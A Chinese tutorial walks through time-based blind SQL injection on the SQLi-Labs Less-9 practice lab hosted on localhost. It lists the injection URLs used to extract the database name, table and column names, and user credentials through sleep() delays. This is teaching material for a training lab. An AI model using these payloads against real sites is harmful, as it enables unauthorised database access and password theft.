基于时间的盲注

关于时间(延时)盲注

某些场合下,页面只有一种返回结果,使用具有延时功能的函数sleep()、benchmark()等,通过判断这些函数是否正常执行来获取数据库中的数据。

一些功能函数的说明

length(str):返回字符串(str)的长度,以字节为单位。
substr(str,pos,len):从指定的位置(pos)开始,截取并返回字符串(str)指定长度(len)的子串。
ascii(str):返回字符串(str)最左边字符的ASCll码。
if(expr1,expr2,expr3):条件判断函数,expr1为true则返回expr2, expr1为false则返回expr3。
sleep(N):让语句延迟执行一段时间(N秒),执行成功后返回0。
benchmark(count,expr):让expr执行count次,执行成功后返回0。

1.访问SQLi-Labs网站

1)访问Less-9,根据网页提示,给定一个?id=1的参数

http://127.0.0.1/sqli-labs/Less-9/?id=1

此时页面显示信息为You are in ......

2)若给定一个?id=-1的参数

http://127.0.0.1/sqli-labs/Less-9/?id=-1

 此时页面显示信息仍然为You are in ......

 可以继续给定不同的id参数进行尝试,发现页面的显示结果只有一种: You are in...。由此可以判断,这是一种典型的时间(延时)盲注场景!

2.寻找注入点

http://127.0.0.1/sqli-labs/Less-9/?id=1 and sleep(5) --+

 sleep(5)未执行,页面无明显延迟

http://127.0.0.1/sqli-labs/Less-9/?id=1' and sleep(5) --+

由上述结果可以判断,网站存在字符型注入点

3.盲猜网站当前所在数据库的库名长度

 假设当前所在数据库的库名长度为N,尝试使用判断语句if((length(database())=M),sleep(5),1),不断变化M的值去猜测,如果M等于N,此时sleep(5)会成功执行,页面应该会有明显延迟。

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length(database())=7,sleep(5),1) --+

  页面无明显延迟,说明网站当前所在数据库的库名长度不是7个字符

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length(database())=8,sleep(5),1) --+

   页面有明显延迟,说明网站当前所在数据库的库名长度是8个字符

4.盲猜网站数据库当前所在数据库的库名字符串

猜测库名的第一个字母

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr(database(),1,1)='a',sleep(5),1) --+

页面无明显延迟,第一个字母不是a

...

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr(database(),1,1)='s',sleep(5),1) --+

 页面明显延迟,第一个字母是s

猜测库名的第二个字母

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr(database(),2,1)='e',sleep(5),1) --+

页面无明显延迟,第二个字母不是a

...

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr(database(),2,1)='e',sleep(5),1) --+

 页面明显延迟,第二个字母是e

...

最终得到的字符串结果为security

5.盲猜数据库security的全部表名

1)猜测第一张表的表名

猜测第一张表的表名的第一个字符

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a',sleep(5),1) --+

 页面无明显延迟,第一个字母不是a

...

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1) --+

 页面明显延迟,第一个字母是e

猜测第一张表的表名的第二个字符

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)='a',sleep(5),1) --+

 页面无明显延迟,第二个字母不是a

...

 http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)='m',sleep(5),1) --+

  页面明显延迟,第二个字母是m

猜测第一张表的表名的第三个字符

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),3,1)='a',sleep(5),1) --+

 ...

最终得到第一个表的表名为emails

 2)猜测第二张表的表名

猜测第二张表的表名的第一个字符

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='a',sleep(5),1) --+

  页面无明显延迟,第一个字母不是a

...

第一个字母是r

猜测第二张表的表名的第二个字符

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1)='a',sleep(5),1) --+

...

 最终得到第二个表的表名为referers

依据上述方法,通过不断变换limit和 substr()函数中的参数,可以最终得到security库中所有表的表名:emails、referers、uagents和users。

其中,第4张表users当中可能存放着网站用户的基本信息

6.盲猜users表的全部字段名

 猜测第一个字段名

 猜测第一个字段名的第一个字符

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='a',sleep(5),1) --+

...

最终得到所有字段名:id,username,password

7.盲猜users表username和password字段的全部值

猜测第一组数据

猜测第一组数据的第一个字符

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1)='a',sleep(5),1) --+

 ...

注意:字符串中的逗号(,)也是需要进行猜测比对的!例如第1组数据的第5个字符:

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 0,1),5,1)=',',sleep(5),1) --+

 依据上述方法,通过不断变换limit和substr()函数中的参数,可以最终得到users表中username和password字段的全部值。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值